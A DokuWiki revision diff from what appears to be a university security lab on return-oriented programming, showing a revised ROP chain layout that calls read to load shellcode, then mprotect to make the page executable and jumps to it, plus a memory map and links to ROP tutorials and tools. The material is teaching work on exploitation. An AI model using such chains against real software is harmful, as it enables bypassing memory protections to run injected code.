 +**[<​color red>pop rdi;​ret</​color>​][<​color green>​fd=0</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>​gbuf</​color>​][<​color red>pop rdx;​ret</​color>​][<​color green>​shellcode_len</​color>​][read_addr]**  ​
  
-[<color red>pop rdi;​ret</​color>​][<​color green>mp1</​color>​][<​color red>pop rsi;​ret</​color>​]][<color green>mp2</​color>​] [<color red>pop rdx;​ret</​color>​][<​color green>​mp3</​color>​][mprotect_addr][gbuf_addr]**+**[<color red>pop rdi;​ret</​color>​][<​color green>page</​color>​][<​color red>pop rsi;​ret</​color>​][<​color green>page_size</​color>​] [<color red>pop rdx;​ret</​color>​][<​color green>​mp3</​color>​][mprotect_addr]** 
 + 
 +**[gbuf_addr]**
  
  
Line 540: Line 388:
 0x00404000 ​        ​0x00405000 ​        ​rwxp /​home/​student/​lab-08/​5-roplibc/​roplibc 0x00404000 ​        ​0x00405000 ​        ​rwxp /​home/​student/​lab-08/​5-roplibc/​roplibc
 </​code>​ </​code>​
 +
 +===== Resources =====
 +
 +  * [[http://​codearcana.com/​posts/​2013/​05/​28/​introduction-to-return-oriented-programming-rop.html|Introduction to return oriented programming]]
 +  * [[https://​www.corelan.be/​index.php/​2010/​06/​16/​exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/​|Chaining DEP with ROP]]
 +  * [[http://​www.shell-storm.org/​project/​ROPgadget/​ | ROPgadget: Gadgets finder and auto-roper]]
 +  * [[https://​github.com/​pakt/​ropc | Turing complete ROP compiler ]] (only for PoC)
cns/labs/lab-08.1574069308.txt.gz · Last modified: 2019/11/18 11:28 by dennis.plosceanu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0